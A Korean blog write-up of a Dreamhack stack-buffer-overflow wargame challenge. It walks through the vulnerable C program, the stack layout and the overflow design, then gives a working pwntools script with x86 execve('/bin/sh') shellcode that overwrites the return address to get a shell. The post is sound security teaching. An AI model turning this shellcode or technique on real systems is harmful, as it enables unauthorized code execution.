[Dreamhack] Stack Buffer Overflow: 4 - basic_exploitation_000

securitykss·2022년 10월 26일
0

Pwnable 강의(dreamhack)

목록 보기
12/58

1. Description

2. Check

2.1 C code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

code description

alarm_handler(): "TIME OUT"을 출력하고 프로그램을 끝낸다

initialize(): setvbuf로 stdin과 stdout을 초기화 하고, signal과 alarm 함수를 통해서 30초 후에 alarm_handler를 호출한다.

main():

              printf("buf = (%p)\n", buf) -> buf의 주소를 출력해준다.

              scanf("%141s", buf); -> buf에 입력 받는다.

              buf의 크기는 0x80 만큼 주어졌다.

2.2 file

파일: ELF 32-bit 파일

호출 규약: SYSV

linking 방식: dynamically linked

2.3 checksec

모든 보호기법이 해제되어 있음.

3. Design

printf로 buf의 주소를 출력해 준다.

buf의 주소를 읽어들인 후

buf를 입력받을 때 shellcode 및 dummy 값들로 buf와 SFP값을 채우고, RET에 buf의 주소를 넣어 주면, shell이 실행될 것이다.

4. Exploit

4.1 buf 주소

pwntools의 recv를 활용해서 화면에 출력되는 buf의 주소를 가져온다.

4.2 buf 확인

main+28

ebp-0x80의 값을 eax에 넘기고

main+31

eax를 push 해서 스택에 쌓는다.

main+32

0x80486a5를 push 해서 스택에 쌓는다.

x86-32에서의 함수호출 규약에서는 스택으로 인자를 전달한다.

scanf("%141s", buf); 에서 buf는 두번째 인자이다. 따라서 ebp-0x80부터 buf의 공간임을 알 수 있다.

4.3 shellcode

shellcode를 직접 구해서 입력한다.

4.4 vulnerability analysis & exploit design

scanf("%141s", buf); 에서 141만큼 입력을 제한한다.

하지만 141은 16진수로 0x8d 이다.

buf는 0x80 bytes이고, SFP와 RET은 모두 4bytes이다. (x86-32 bit 바이너리이므로) 총 0x88bytes의 공간을 사용해서 exploit을 할 수 있다.

buf에 {shellcode와 dummy값(0x80)} + SFP dummy값(0x4) + RET(buf의 주소)를 하면 0x8d의 제한에 걸리지 않고 shell을 획득할 수 있다.

따라서 scanf의 제한을 피해서 exploit을 할 수 있다.

stack
shellcode & dummy(0x80)
SFP dummy * 0x4
buf address

4.5 exploit code

from pwn import *

# p = remote("서버", 포트)
p = process('./basic_exploitation_000')

p.recvuntil('buf = (')
buf_address = int(p.recv(10), 16)

payload = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
# 총 26bytes의 shellcode이다.
payload += b'\x90'*106
# 0x80 = 128,
# 128(buf) + 4(SFP) = 132 = 26(shellcode) + 106(dummy)
payload += p32(buf_address)
p.send(payload)

p.interactive()

4.6 exploit result

마치며

Stack 영역에 shellcode를 삽입 후, return address를 stack영역의 buf의 주소로 Overwrite 한 후, shell을 획득하는 문제였다.

문제에서 %p를 통해, buf의 주소를 출력해 주어서 굉장히 편하게 풀 수 있었다.

다음 시간에도 Stack Buffer Overflow의 다른 문제를 풀어보자.

Reference

https://dreamhack.io/wargame/challenges/2/?writeup_id (문제 출처)

profile
보안 공부를 하는 학생입니다.

0개의 댓글